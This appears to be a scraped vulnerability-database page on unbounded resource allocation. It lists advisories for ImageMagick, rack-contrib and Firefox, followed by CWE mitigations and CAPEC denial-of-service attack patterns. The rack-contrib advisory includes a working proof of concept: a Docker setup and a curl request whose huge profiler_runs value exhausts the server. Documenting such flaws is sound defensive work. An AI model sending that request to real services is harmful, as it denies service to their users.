"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/420341"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8C76-7G9Q-8V4R
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50There is an excessive memory allocation issue in the functions ReadBMPImage of coders/bmp.c and ReadDIBImage of coders/dib.c in ImageMagick 7.0.8-11, which allows remote attackers to cause a denial of service via a crafted image file.
{
"affected": [],
"aliases": [
"CVE-2018-16645"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-06T22:29:00Z",
"severity": "MODERATE"
},
"details": "There is an excessive memory allocation issue in the functions ReadBMPImage of coders/bmp.c and ReadDIBImage of coders/dib.c in ImageMagick 7.0.8-11, which allows remote attackers to cause a denial of service via a crafted image file.",
"id": "GHSA-8c76-7g9q-8v4r",
"modified": "2022-05-13T01:50:25Z",
"published": "2022-05-13T01:50:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16645"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/1268"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/commit/ecb31dbad39ccdc65868d5d2a37f0f0521250832"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/10/msg00002.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3785-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4034-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4316"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8C8Q-2XW3-J869
Vulnerability from github – Published: 2024-05-28 15:48 – Updated: 2024-05-31 20:42Summary
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.
PoC
Herein the config.ru file:
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
A Dockerfile:
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
A Gemfile
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
A Docker compose
services:
app:
build:
context: .
ports:
- "9292:9292"
To run the PoC
docker compose up --build
To exploit DoS:
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
Impact
- Potential denial of service by remotely user-controlled data.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack-contrib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-35231"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-28T15:48:43Z",
"nvd_published_at": "2024-05-27T17:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n runs = (request.params[\u0027profiler_runs\u0027] || @times).to_i\n result = @profile.profile do\n runs.times { @app.call(env) }\n end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire \u0027rack\u0027\nrequire \u0027rack/contrib\u0027\n\nuse Rack::Profiler # if ENV[\u0027RACK_ENV\u0027] == \u0027development\u0027\n\n# Define a Rack application\napp = lambda do |env|\n # Your application logic goes here\n [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource \u0027https://rubygems.org\u0027\n\ngem \u0027rack\u0027, \u0027~\u003e 2.0\u0027\ngem \u0027rack-contrib\u0027, \u0027~\u003e 2.4\u0027\ngem \u0027rackup\u0027\ngem \u0027ruby-prof\u0027\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n app:\n build:\n context: .\n ports:\n - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n",
"id": "GHSA-8c8q-2xw3-j869",
"modified": "2024-05-31T20:42:29Z",
"published": "2024-05-28T15:48:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35231"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack-contrib"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter"
}
GHSA-8C8X-848R-WQQ7
Vulnerability from github – Published: 2024-07-09 15:30 – Updated: 2024-10-29 21:30Due to large allocation checks in Angle for GLSL shaders being too lenient an out-of-bounds access could occur when allocating more than 8192 ints in private shader memory on mac OS. This vulnerability affects Firefox < 128 and Firefox ESR < 115.13.
{
"affected": [],
"aliases": [
"CVE-2024-6600"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T15:15:12Z",
"severity": "MODERATE"
},
"details": "Due to large allocation checks in Angle for GLSL shaders being too lenient an out-of-bounds access could occur when allocating more than 8192 ints in private shader memory on mac OS. This vulnerability affects Firefox \u003c 128 and Firefox ESR \u003c 115.13.",
"id": "GHSA-8c8x-848r-wqq7",
"modified": "2024-10-29T21:30:48Z",
"published": "2024-07-09T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6600"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1888340"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-29"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-30"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-31"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.